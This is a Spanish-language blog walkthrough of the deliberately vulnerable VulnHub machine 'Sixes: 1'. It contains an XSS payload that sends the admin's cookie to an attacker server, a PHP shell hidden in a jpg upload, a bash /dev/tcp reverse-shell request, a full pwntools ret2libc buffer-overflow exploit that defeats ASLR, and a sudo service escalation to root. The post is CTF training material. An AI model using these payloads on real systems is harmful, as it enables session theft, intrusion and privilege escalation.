martes, 8 de noviembre de 2022

SIXES: 1: Walkthrough Advanced-Hard Boot2Root machine: Cookie stealing + jpg shell + pwn BOF ret2lib NX ASLR

 

https://www.vulnhub.com/entry/sixes-1,380/

Advanced-Hard Boot2Root machine intended to be used in a Workshop/CTF beside Shellmates Club.

Este es el primer walkthrough de esta máquina en internet. Tiene una serie de movimientos con los que se puede aprender mucho ;)

1. 

Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-08 09:50 CET
Nmap scan report for sixes.home (192.168.2.28)
Host is up (0.016s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http


Accedemos al ftp


lftp 192.168.2.28:~> dir
-r--r--r--    1 0        0             233 Oct 03  2019 note.txt
lftp 192.168.2.28:/> cat note.txt
DONE:
  - Develop the web application frontend and backend
  - Add a firewall to block malicious tools
TODO:
  - Hire a Pentester to secure the web application
  - Buy food to my cat :3
shellmates{5c6b5e84ab3fa94257bdce66b9c1c200}
233 bytes transferred

Probamos distintos fuzzers pero como dice la nota no funcionan por el firewall.

2. Accedemos al site web



Tenemos dos enlaces interesantes:
- restricted area
- contact
En restricted hay un login

No parece que podamos usar ni fuzzers ni sqlmap, y manualmente no parece vulnerable a inyecciones sql. La idea entonces es atacar por alguna entrada tipo búsqueda o contact.
Como dice:

if you found a bug/glitch somewhere, please let us know the exact page where you encountered it with a short description, our awesome team will check it and fix it very quickly!

Tenemos la posibilidad de atacar por aquí. Primero lo probamos abriendo un servidor en local y pasando la dirección en el formulario. Dado que recibimos respuesta pasamos a la acción. La url que le pasemos será abierta en local por el administrador, suponemos, por lo que podemos enviar un html como el siguiente:

a- enviamos como página de bug http://nuestraip:8000/hack.html

<html>
<script>document.write('<img src="http://nuestraip:8000/e2.php?cmd='+document.cookie+'" width=0 height=0 border=0 />');</script>


b- cuando la víctima abra el html volverá a hacer una petición para darnos la cookie de admin (no necesitamos crear ningún archivo e2.php, en la ventana del servidor veremos la petición con la cookie)
192.168.2.28 - - [06/Nov/2022 16:17:02] "GET /e2.php?cmd=PHPSESSID=etvf8med7boja63ib2tqlsc5jn HTTP/1.1" 200 -
3. Con esta cookie vamos a acceder al área restringida usando burp. En modo proxy capturamos la petición a http://192.168.2.28/admin.php y le añadimos la cookie.

Pasamos a repeater y tras probar distintos archivos funciona un jpg con shell reverse en php. Lo subimos


Inyectamos un shell reverse y accedemos

GET /img/payload_images.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.2.84/9999+0>%261'

www-data@sixes:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

4. Tenemos al user webmaster pero poco más. Usando

www-data@sixes:/$ find / -user webmaster 2>/dev/null
/home/webmaster
/home/webmaster/.gnupg
/home/webmaster/.lesshst
/home/webmaster/user.txt
/home/webmaster/.selected_editor
/home/webmaster/notes.txt
/home/webmaster/.profile
/home/webmaster/.php_history
/home/webmaster/.cache
/home/webmaster/.viminfo
/home/webmaster/.mysql_history
/home/webmaster/.bash_history
/home/webmaster/.bash_logout
/home/webmaster/.bashrc
/sbin/notemaker
/var/crash/_sbin_notemaker.1000.crash
/var/www/html
/var/www/html/contact.php
/var/www/html/post.php
/var/www/html/home.php
/var/www/html/css
/var/www/html/index.php
/var/www/html/js
/var/www/html/admin.php
/var/www/html/about.php
/var/www/html/img
/var/www/html/config.php
/var/www/html/vendor
www-data@sixes:/$ 

Encontramos un binario que es el siguiente paso.

www-data@sixes:/$ ls -ahl /sbin/notemaker
-r-sr-sr-x 1 webmaster webmaster 17K Oct  3  2019 /sbin/notemaker 

Con pspy64 encontramos lo siguiente

2022/11/06 23:38:01 ←[34;1mCMD: UID=0    PID=11030  | /bin/sh -c echo "MjAxOS0xMC0wMiAyMTowODowNSB+LT4gcm9vdCBzYWlkOiBIZXkgd2VibWFzdGVyLCBpbiBjYXNlIHRoZSB3ZWIgc2VydmVyIGdvZXMgZG93biwgSSBnYXZlIHlvdSBzb21lIHByaXZpbGVnZXMgc28geW91IGNhbiBzdGFydC9zdG9wL3Jlc3RhcnQgaXQgd2hlbmV2ZXIgeW91IHdhbnQuIENoZWVycy4KMjAxOS0xMC0wMiAyMTowODozMyB+LT4gcm9vdCBzYWlkOiBIZXkgYWdhaW4sIGhvdyBtYW55IHRpbWVzIHNob3VsZCBJIHJlcGVhdCB0aGF0IFlPVSBTSE9VTEQgTkVWRVIgVVNFIEdFVFM/IFNlcmlvdXNseSwgZXZlbiB0aGUgY29tcGlsZXIgcmVtaW5kcyB5b3UuLi4gR28gZml4IGl0IG5vdyBvciBJJ2xsIGRlbGV0ZSB5b3VyIG1pbmVjcmFmdCBhY2NvdW50Lgo=" | base64 -d > /home/webmaster/notes.txt && chown webmaster /home/webmaster/notes.txt && chgrp webmaster /home/webmaster/notes.txt && chmod 600 /home/webmaster/notes.txt

Decodificamos el base64
2019-10-02 21:08:05 ~-> root said: Hey webmaster, in case the web server goes down, I gave you some privileges so you can start/stop/restart it whenever you want. Cheers.
2019-10-02 21:08:33 ~-> root said: Hey again, how many times should I repeat that YOU SHOULD NEVER USE GETS? Seriously, even the compiler reminds you... Go fix it now or I'll delete your minecraft account.
Es una pista para explotar el binario notemaker. Lo bajamos y analizamos con ghidra


Se trata de hacer un overflow para acceder a webmaster.

5. Analizamos en local el binario con gdb

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

y además en la máquina víctima tienen ASLR activado

www-data@sixes:/$ cat /proc/sys/kernel/randomize_va_space                                                                                                                                             
2  

Vamos a hacer el exploit con pwntools y enviarlo a través de socat (que debemos descargar en la víctima)

www-data@sixes:/tmp$ ./socat tcp-l:9997,reuseaddr,fork EXEC:"/sbin/notemaker",pty,raw,echo=0

Haremos una aproximación ret2lib

payload = junk+ p64(pop_rdi) + p64(sh) + p64(system) 

Para eso necesitamos

- el junk que desborda, en este caso "A"*280
- las direcciones pop rdi, /bin/sh y system de libc

Los offsets buscados se obtienen con readelf, ROPgadget y strings (sobre la libc víctima)

$ readelf -s libsixes | grep system                                                                                                          22 ⚙
  1406: 000000000004f420    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5

ROPgadget --binary libsixes | grep "pop rdi ; ret"                                                                                         22 ⚙
0x000000000002164f : pop rdi ; ret
0x00000000001bbdb0 : pop rdi ; retf
0x0000000000001c36 : pop rdi ; retf 0x49f2

strings -a -tx libsixes | grep /bin/sh                                                                                                     22 ⚙
 1b3d88 /bin/sh

El problema es que tenemos que lidiar con ASLR, luego la dirección base de libc cambia con cada ejecución del programa. Así que hay que leakear esta dirección. En el payload final hay que añadir además RET para alinear el stack.

Script exploitnotemaker.py


from pwn import *

"""
Descargamos en nuestra máquina el binario vulnerable y la librería libc que utiliza
aquí llamada libsixes
Como la máquina víctima tiene ASLR activado tenemos que calcular primero la dirección
base de la librería, que es distinta cada vez que se ejecuta el binario. Para ello
leakeamos la dirección de PUTS y le restamos el offset, que siempre es el mismo, de 
esta función en esa librería.

https://book.hacktricks.xyz/reversing-and-exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address
"""

elf  = ELF("./notemaker")
rop  = ROP(elf)

func = 'puts'

PUTS_PLT = elf.symbols[func]
MAIN_PLT = elf.symbols['main']
POP_RDI  = (rop.find_gadget(['pop rdi', 'ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

# Este es el junk que desborda
OFFSET = b"A"*280

# Como la máquina víctima no tiene gdb lo hacemos en remoto con socat
p=remote("192.168.2.28",9997)
libc = ELF("./libsixes")

def get_addr(func_name):
    FUNC_GOT = elf.got[func_name]
    rop1     = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

    print(p.clean())
    p.sendline(rop1)

    recieved = p.recvline().strip()
    leak     = u64(recieved.ljust(8, b"\x00"))

    log.info(func_name + " GOT @ " + hex(FUNC_GOT))
    log.info("Leaked libc address,  "+func_name+": "+ hex(leak))

    if libc != "":
        libc.address = leak - libc.symbols[func_name]
        log.info("libc base @ %s" % hex(libc.address))

    return libc.address

libcadd      = get_addr(func)

#  Calculamos ahora las direcciones correctas con el leak de libc

system  = libcadd + 0x4f420
pop_rdi = libcadd + 0x2164f
sh      = libcadd + 0x1b3d88


# Necesitamos añadir RET al payload final para alinear el stack a 16 bytes. Se popean 8 bytes y se regresa
# 280 + 32 - 8 = 304 = 16 * 19

ret     = (rop.find_gadget(['ret']))[0]

payload = OFFSET + p64(ret) + p64(pop_rdi) + p64(sh) + p64(system) 

print(p.recvuntil(b">>"))
p.sendline(payload)
p.interactive()

Ejecutamos

┌──(kali㉿kali)-[~]
└─$ python3 exploitnotemaker.py                                                                                                                              22 ⚙
[*] '/home/kali/notemaker'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 17 cached gadgets for './notemaker'
[*] Main start: 0x401370
[*] Puts plt: 0x401050
[*] pop rdi; ret  gadget: 0x4014eb
[+] Opening connection to 192.168.2.28 on port 9996: Done
[*] '/home/kali/libsixes'
    Arch:     amd64-64-little
[*] '/home/kali/notemaker'
    Arch:     amd64-64-little
[*] '/home/kali/notemaker'
    Arch:     amd64-64-little
[*] '/home/kali/notemaker'
[*] '/home/kali/notemaker'
[*] '/home/kali/notemaker'
[*] '/home/kali/notemaker'
[*] '/home/kali/notemaker'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
[*] '/home/kali/notemaker'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
[*] '/home/kali/notemaker'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 17 cached gadgets for './notemaker'
[*] Main start: 0x401370
[*] Puts plt: 0x401050
[*] pop rdi; ret  gadget: 0x4014eb
[+] Opening connection to 192.168.2.28 on port 9996: Done
[*] '/home/kali/libsixes'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
b".---------------- Simple Note Maker v1.0 ----------------.\n|                                                        |\n|    Use this program to leave me some notes, and I'll   |\n|                check them when I'm free!               |\n|          (Because I'm a busy webmaster, hehe)          |\n| Also, keep your notes below 256 bytes so I can easily  |\n|                      Read them :)                      |\n|             - 0x000c0ded, your webmaster.              |\n`--------------------------------------------------------'\nStart typing >> "
[*] puts GOT @ 0x404028
[*] Leaked libc address,  puts: 0x7f7d65bd3970
[*] libc base @ 0x7f7d65b53000
b".---------------- Simple Note Maker v1.0 ----------------.\n|                                                        |\n|    Use this program to leave me some notes, and I'll   |\n|                check them when I'm free!               |\n|          (Because I'm a busy webmaster, hehe)          |\n| Also, keep your notes below 256 bytes so I can easily  |\n|                      Read them :)                      |\n|             - 0x000c0ded, your webmaster.              |\n`--------------------------------------------------------'\nStart typing >>"
[*] Switching to interactive mode
 $ id
uid=1000(webmaster) gid=1000(webmaster) groups=1000(webmaster),33(www-data)
$ sudo -l
Matching Defaults entries for webmaster on sixes:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webmaster may run the following commands on sixes:
    (root) NOPASSWD: /usr/sbin/service
$ sudo service ../../bin/sh
$ id
uid=0(root) gid=0(root) groups=0(root)
$  

No hay comentarios:

Publicar un comentario